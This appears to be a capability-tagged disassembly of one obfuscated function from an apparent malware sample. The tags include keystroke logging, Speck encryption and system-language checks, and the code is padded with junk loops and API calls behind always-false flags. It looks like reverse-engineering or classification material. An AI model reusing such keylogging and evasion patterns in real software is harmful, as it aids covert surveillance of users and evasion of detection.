Function at 0x1003b1f4
Capabilities:
Create directory
Encrypt data using speck
Get system information on windows
Get thread local storage value
Identify system language via api
Log keystrokes
Set environment variable

Disassembly:
mov eax, 0x100604cd
call fcn.1005f330
sub esp, 0x7f8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 3
pop esi
mov dword [ebp - 0x60], ecx
lea ecx, [ebp - 0x2bc]
push esi
mov byte [ebp - 0x64], dl
call fcn.1002e184
xor ebx, ebx
lea ecx, [ebp - 0x23c]
push esi
mov dword [ebp - 4], ebx
call fcn.1002e184
xor edi, edi
inc edi
mov dword [ebp - 0xb8], edi
mov dword [ebp - 0xb4], edi
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0xac], edi
mov dword [ebp - 0x20], 0xb779
mov dword [ebp - 0x1c], ebx
jmp 0x1003b26a
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2bc]
mov dword [eax + ecx*4], 0xff0ea75c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003b257
mov dword [ebp - 0x1c], ebx
jmp 0x1003b287
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x23c]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003b274
mov eax, dword [ebp - 0x23c]
mov dword [eax], 2
mov ecx, dword [eax]
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x3c], 0xb4b13281
mov dword [ebp - 0x3c], 0xffffffff
cmp dword [eax + ecx*4], ebx
jne 0x1003b2c0
dec dword [ebp - 0x20]
mov eax, dword [ebp - 0x23c]
dec dword [eax]
jns 0x1003b298
lea ecx, [ebp - 0x23c]
call fcn.1002e206
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2bc]
call fcn.1002e206
mov dword [ebp - 0x2c], 0xf7e2799a
mov dword [ebp - 0x4c], 0xd0289a69
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x2c], 0x1d
jmp 0x1003b4d5
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1003b31b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x88], 0xb72fd491
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003b30a
mov dword [ebp - 0x44], edi
cmp dword [ebp - 0x44], ebx
jl 0x1003b349
inc dword [ebp - 0x4c]
jne 0x1003b33c
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x88], ebx
mov eax, ebx
je 0x1003b33e
mov eax, edi
mov dword [ebp - 0x88], eax
dec dword [ebp - 0x44]
jns 0x1003b329
mov dword [ebp - 0x4c], 0xffffffe9
jmp 0x1003b4c8
push 4
lea ecx, [ebp - 0x3d0]
call fcn.1002e184
mov dword [ebp - 0x58], 0xffffffff
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x14], ebx
jmp 0x1003b388
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3d0]
mov dword [eax + ecx*4], 0xffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1003b375
mov dword [ebp - 0x44], edi
cmp dword [ebp - 0x44], ebx
jl 0x1003b4ba
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x288], 0x7720f84b
mov dword [ebp - 0x284], 0x7720f84b
mov dword [ebp - 0x280], 0x7720f84b
mov dword [ebp - 0x27c], 0x7720f84b
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], ebx
jl 0x1003b4b1
mov dword [ebp - 0x20], 0x467bb1a8
mov dword [ebp - 0x14], 0xfffffff8
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x88]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x88], 0xcd1b7e28
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x1c]
neg eax
cmp eax, dword [ebp - 0x58]
je 0x1003b42b
mov dword [ebp - 0x48], 0x9257
mov dword [ebp - 0x48], 0x2a4e6309
jmp 0x1003b494
mov edx, dword [ebp - 0x3d0]
xor ecx, ecx
mov dword [ebp - 0x34], 0x2038be40
mov dword [ebp - 0x48], 0xab2a44bf
mov dword [ebp - 0x28], 0xfffa
mov eax, dword [ebp - 0x28]
cmp eax, dword [edx + 4]
setg cl
xor edx, edx
mov dword [ebp - 0x280], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x88]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x280]
mov eax, dword [ebp - 0x1c]
add ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
mov dword [ebp - 0x48], edx
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1003b4a8
push ebx
push 0x18dc
call dword [sym.imp.USER32.dll_ClientToScreen]
dec dword [ebp - 0x1c]
jns 0x1003b3d1
dec dword [ebp - 0x44]
jns 0x1003b39a
lea ecx, [ebp - 0x3d0]
call fcn.1002e206
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 5
jle 0x1003b355
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe6
jne 0x1003b2fb
cmp dword [ebp - 0x4c], 0x85aa7f79
lea ecx, [ebp - 0x2f8]
push esi
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
call fcn.1002e184
mov dword [ebp - 4], edi
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003b512
push 0x1e2a
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov byte [ebp - 0x21], bl
mov dword [ebp - 0x34], 0x4cea
cmp dword [ebp - 0x34], 0x4fc1
jle 0x1003b5af
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov ecx, edi
mov dword [ebp - 0x58], ebx
sar eax, cl
mov edi, ebx
mov dword [ebp - 0x48], eax
mov esi, ebx
mov eax, edi
cdq
idiv esi
mov eax, dword [ebp - 0x48]
mov ecx, edx
sar eax, cl
lea ecx, [ebp - 0x698]
cdq
push edx
push eax
call fcn.1000d7c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003b565
mov eax, dword [eax]
push eax
call fcn.1004a056
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x698]
call fcn.1002e510
inc esi
cmp esi, 0x7fdd
jl 0x1003b541
inc edi
cmp edi, 0x1441
jl 0x1003b53f
mov edi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x3098
jl 0x1003b533
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x48a3
jl 0x1003b52e
xor edi, edi
push 3
inc edi
pop esi
cmp byte [ebp - 0x21], 0
je 0x1003b5c1
push ebx
push 0xa28
call dword [sym.imp.USER32.dll_GetSystemMenu]
cmp dword [ebp - 0x34], 0x49b1
jge 0x1003b5d5
push 0x1000b1d8
call fcn.1004a056
pop ecx
push esi
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 4], edi
call fcn.1002e184
mov byte [ebp - 4], 4
mov dword [ebp - 0xb8], edi
mov dword [ebp - 0xb4], edi
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0xac], edi
mov dword [ebp - 0x20], 0x6a73
cmp dword [ebp - 0x20], 0x6ba7
jle 0x1003b65c
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
cdq
lea ecx, [ebp - 0x77c]
push edx
push eax
call fcn.1000d7c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003b62f
mov eax, dword [eax]
push eax
call fcn.1004a056
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x77c]
call fcn.1002e510
inc esi
cmp esi, 0x40b8
jl 0x1003b614
inc edi
cmp edi, 0x662
jl 0x1003b612
xor edi, edi
push 3
inc edi
pop esi
cmp dword [ebp - 0x20], 0x6a27
jge 0x1003b670
push 0x1000b228
call fcn.1004a056
pop ecx
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x53c]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x3c], 0x7e307b5c
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x3c], 0xfffffffe
mov dword [ebp - 0x3c], 6
push esi
call fcn.1002e184
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x3c], 0xb3f4b141
mov dword [ebp - 0x20], 0x9532955f
mov dword [ebp - 0x1c], ebx
jmp 0x1003b6dc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x600], 0xfffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003b6cb
mov dword [ebp - 0x1c], ebx
jmp 0x1003b6f9
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x53c]
mov dword [eax + ecx*4], 0xcfd1f2e9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003b6e6
mov dword [ebp - 0x2c], ebx
jmp 0x1003b714
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x600], 0xc70b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1003b703
dec dword [ebp - 0x20]
lea ecx, [ebp - 0x53c]
call fcn.1002e206
mov dword [ebp - 0x54], 0xb779
lea ecx, [ebp - 0xdc]
push esi
call fcn.1002e184
mov dword [ebp - 0x30], 0xe2236432
mov dword [ebp - 0x4c], 0xad94e8fe
mov dword [ebp - 0x14], ebx
jmp 0x1003b760
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xdc]
mov dword [eax + ecx*4], 0xb9b55bb2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003b74d
mov dword [ebp - 0x30], 2
cmp dword [ebp - 0x30], ebx
jl 0x1003b822
mov esi, dword [ebp - 0xdc]
mov dword [ebp - 0x58], 0xffffffff
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0xdc]
cmp dword [eax], ebx
je 0x1003b79d
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xdc]
cmp dword [eax + ecx*4], ebx
jne 0x1003b7a4
mov eax, ebx
cmp dword [ebp - 0x30], ebx
je 0x1003b7a6
mov eax, edi
mov dword [ebp - 0x4c], eax
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xdc]
cmp dword [eax + ecx*4], ebx
mov eax, dword [ebp - 0x4c]
setl dl
imul eax, edx
sub eax, dword [esi + 4]
sub eax, 0xb0ad
neg eax
sbb eax, eax
inc eax
neg eax
je 0x1003b7df
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x58], eax
jmp 0x1003b816
mov dword [ebp - 0x4c], ebx
jmp 0x1003b7fa
cmp byte [ebp - 0x21], 0
je 0x1003b7f7
push ebx
push 0x1e0b
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
dec dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0xfffffff1
mov byte [ebp - 0x21], bl
jl 0x1003b7e4
cmp byte [ebp - 0x21], 0
je 0x1003b816
push 0x576
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
dec dword [ebp - 0x30]
jns 0x1003b77b
push 3
pop esi
lea ecx, [ebp - 0xdc]
call fcn.1002e206
mov dword [ebp - 0x1c], ebx
jmp 0x1003b845
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2f8]
mov dword [eax + ecx*4], 0xff0ea75c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003b832
mov dword [ebp - 0x44], 8
xor edx, edx
mov dword [ebp - 0x50], 0xfa8bc07c
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x2c], 0x72c02a30
mov dword [ebp - 0x4c], 7
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x40], 0x3ab1adf1
mov dword [ebp - 0x1c], 0xb0c68d18
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0xc0e3
setl al
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0x44]
setg cl
xor edx, edx
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x44]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x50], edx
jne 0x1003b8c0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
je 0x1003b8e0
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x20], 0xfffffffb
inc dword [ebp - 0x20]
jmp 0x1003b9e3
movdqa xmm0, xmmword [0x1000c3a0]
lea ecx, [ebp - 0x564]
push ecx
lea eax, [ebp - 0x554]
mov dword [ebp - 0x30], 0x92f9e84e
push eax
push ecx
mov dword [ebp - 0x34], 0xffffffff
lea ecx, [ebp - 0x460]
movdqu xmmword [ebp - 0x564], xmm0
call fcn.1002e1e0
mov dword [ebp - 0x34], 0xffffffff
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003b931
push ebx
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
cmp dword [ebp - 0x2c], ebx
jne 0x1003b945
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], 0x18
jge 0x1003b9d8
mov dword [ebp - 0x20], 0x47a0ca4d
mov esi, edi
mov dword [ebp - 0x20], 0xbdd2a48b
mov dword [ebp - 0x28], 0xd2166a3c
mov eax, dword [ebp - 0x14]
inc dword [ebp - 0x14]
cmp eax, edi
cmovle esi, ebx
cmp dword [ebp - 0x30], ebx
jne 0x1003b986
mov edx, ebx
cmp dword [ebp - 0x28], ebx
je 0x1003b988
mov edx, edi
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp esi, eax
setg cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
add ecx, edx
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x460]
setg dl
mov dword [eax], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x34], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x18
jl 0x1003b958
push 3
pop esi
lea ecx, [ebp - 0x460]
call fcn.1002e206
mov eax, dword [ebp - 0x50]
xor edx, edx
sub eax, dword [ebp - 0x44]
imul ecx, eax, 0xffff
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setge dl
xor eax, eax
cmp edx, 0x4d94
setge al
cmp eax, 0xea3775ed
mov eax, dword [ebp - 0x50]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setne dl
xor ecx, ecx
cmp eax, edx
mov eax, 0xdb6cd352
setle cl
sub eax, ecx
sub eax, dword [ebp - 0x40]
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x14]
inc eax
sub eax, dword [ebp - 0x40]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul eax, eax, 0x5ee
cmp eax, 0xfffffffb
setle cl
imul ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x20]
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], ebx
jmp 0x1003ba88
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1b4]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003ba75
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x28], 0x939f5fa3
mov dword [ebp - 0x34], 0xfffffffe
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x1003bacc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1f4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003babb
mov dword [ebp - 0x28], 0xfd
xor edx, edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], ebx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x30], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x38]
cmp edx, eax
setl cl
sub ecx, 0x4b81f05f
jne 0x1003bb28
cmp dword [ebp - 0x34], ebx
jne 0x1003bb28
mov eax, ebx
cmp dword [ebp - 0x28], ebx
je 0x1003bb2a
mov eax, edi
imul eax, eax, 0x4782
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x40]
neg ecx
mov eax, dword [ebp - 0x30]
sbb ecx, ecx
neg ecx
sub ecx, eax
je 0x1003bba8
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003bb67
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x30], 2
cmp dword [ebp - 0x30], ebx
jl 0x1003bd2c
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003bb8d
push ebx
push ebx
push 0x1e0b
call dword [sym.imp.ADVAPI32.dll_CopySid]
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003bb9e
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
dec dword [ebp - 0x30]
jns 0x1003bb77
jmp 0x1003bd2c
mov dword [ebp - 0x1c], 0xd967aac3
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x4c], 0xd410a02d
push 2
call fcn.1002e184
mov dword [ebp - 0x14], ebx
jmp 0x1003bbdb
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x160]
mov dword [eax + ecx*4], 0x3388
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003bbc8
mov dword [ebp - 0x40], 0xfffffff1
jmp 0x1003bd17
mov dword [ebp - 0x44], 0xfff9
xor edx, edx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x58], 0x6c195823
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
cmp eax, 0x7740
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x4c], ebx
je 0x1003bc42
mov ecx, edi
cmp dword [ebp - 0x44], ebx
jne 0x1003bc44
mov ecx, ebx
xor eax, eax
cmp ecx, 0xfffe
setne al
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x4c]
jne 0x1003bc65
mov eax, ebx
cmp dword [ebp - 0x20], ebx
je 0x1003bc67
mov eax, edi
mov dword [ebp - 0x1f0], eax
mov ecx, 0xffffd1a2
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
sub ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
add ecx, dword [ebp - 0x44]
cmp ecx, 0xbdd52294
je 0x1003bc94
mov eax, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
push 0xfffffffffffffffb
setg dl
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x4c]
pop ecx
sub ecx, eax
add ecx, dword [ebp - 0x1c]
je 0x1003bcba
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x4c], ebx
mov ecx, dword [ebp - 0x160]
jne 0x1003bcda
mov eax, ebx
cmp dword [ecx], ebx
je 0x1003bcdc
mov eax, edi
sub eax, dword [ecx]
xor edx, edx
cmp eax, 0xfffffffa
mov eax, dword [ebp - 0x38]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], ebx
je 0x1003bcff
mov edx, edi
cmp dword [ebp - 0x34], ebx
jne 0x1003bd01
mov edx, ebx
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x44]
add ecx, edx
imul eax, ecx
mov dword [ebp - 0x58], eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x16
jl 0x1003bbed
lea ecx, [ebp - 0x160]
call fcn.1002e206
mov eax, dword [ebp - 0x1b4]
lea ecx, [ebp - 0x220]
mov dword [eax], 2
lea eax, [ebp - 0x230]
mov dword [ebp - 0x2c], 0xa0256915
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], 0x2b
jg 0x1003bdff
push 2
lea ecx, [ebp - 0x388]
call fcn.1002e184
mov dword [ebp - 0x1c], ebx
jmp 0x1003bd82
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2e0], 6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003bd71
push 2
mov dword [ebp - 0x1c], ebx
pop edx
jmp 0x1003bda2
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x388]
mov dword [eax + ecx*4], 0xc4d1454b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1003bd8f
cmp dword [ebp - 0x2e0], ebx
je 0x1003bdc1
mov dword [ebp - 0x58], 0xffffffff
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x58], eax
jmp 0x1003bdcd
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x48], ebx
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x2e0]
mov eax, dword [ebp - 0x388]
mov dword [eax], ecx
lea ecx, [ebp - 0x388]
call fcn.1002e206
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x2b
jle 0x1003bd5f
lea eax, [ebp - 0x230]
lea ecx, [ebp - 0x220]
movdqa xmm0, xmmword [0x1000c3c0]
push ecx
push ecx
mov dword [ebp - 0x3c], 0xb4b13281
lea ecx, [ebp - 0x618]
mov dword [ebp - 0x3c], 0xffffffff
push eax
movdqu xmmword [ebp - 0x230], xmm0
call fcn.1002e1e0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], ebx
jmp 0x1003be46
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003be43
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemCount]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x1003be33
lea ecx, [ebp - 0x618]
call fcn.1002e206
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x2f8]
cmp dword [eax + ecx*4], ebx
jne 0x1003bebe
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x14], 0xffffffe5
jmp 0x1003be9b
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003be89
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003be98
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe3
jne 0x1003be79
dec dword [ebp - 0x54]
lea ecx, [ebp - 0x220]
mov eax, dword [ebp - 0x1b4]
dec dword [eax]
lea eax, [ebp - 0x230]
jns 0x1003bd44
lea ecx, [ebp - 0x1b4]
call fcn.1002e206
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f8]
call fcn.1002e206
push esi
lea ecx, [ebp - 0x400]
call fcn.1002e184
push esi
lea ecx, [ebp - 0x26c]
mov dword [ebp - 4], 7
call fcn.1002e184
mov dword [ebp - 0xb8], edi
mov dword [ebp - 0xb4], edi
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0xac], edi
mov dword [ebp - 0x20], 0xb779
mov dword [ebp - 0x1c], ebx
jmp 0x1003bf2e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x400]
mov dword [eax + ecx*4], 0xff0ea75c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003bf1b
mov dword [ebp - 0x1c], ebx
jmp 0x1003bf4b
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x26c]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003bf38
mov eax, dword [ebp - 0x26c]
mov dword [eax], 2
mov ecx, dword [eax]
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0x3c], 0xb4b13281
mov dword [ebp - 0x3c], 0xffffffff
cmp dword [eax + ecx*4], ebx
jne 0x1003bf84
dec dword [ebp - 0x20]
mov eax, dword [ebp - 0x26c]
dec dword [eax]
jns 0x1003bf5c
lea ecx, [ebp - 0x26c]
call fcn.1002e206
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x400]
call fcn.1002e206
mov dword [ebp - 0x34], 0x636a
cmp dword [ebp - 0x34], 0x6559
jle 0x1003c022
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov ecx, edi
mov dword [ebp - 0x58], eax
mov edi, eax
mov esi, ebx
sar edi, cl
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x6c8]
cdq
push edx
push eax
call fcn.1000d7c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003bfe1
mov eax, dword [eax]
push eax
call fcn.1004a056
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x6c8]
call fcn.1002e510
inc esi
cmp esi, 0x2f1d
jl 0x1003bfc3
mov edi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x20e2
jl 0x1003bfb8
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x42d7
jl 0x1003bfb3
xor edi, edi
push 3
inc edi
pop esi
cmp dword [ebp - 0x34], 0x6122
jge 0x1003c036
push 0x1000b278
call fcn.1004a056
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x310]
push esi
call fcn.1002e184
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], ebx
jmp 0x1003c061
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x310]
mov dword [eax + ecx*4], 0xf70ad6f2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003c04e
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003c075
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 2
pop edx
mov dword [ebp - 0x14], edx
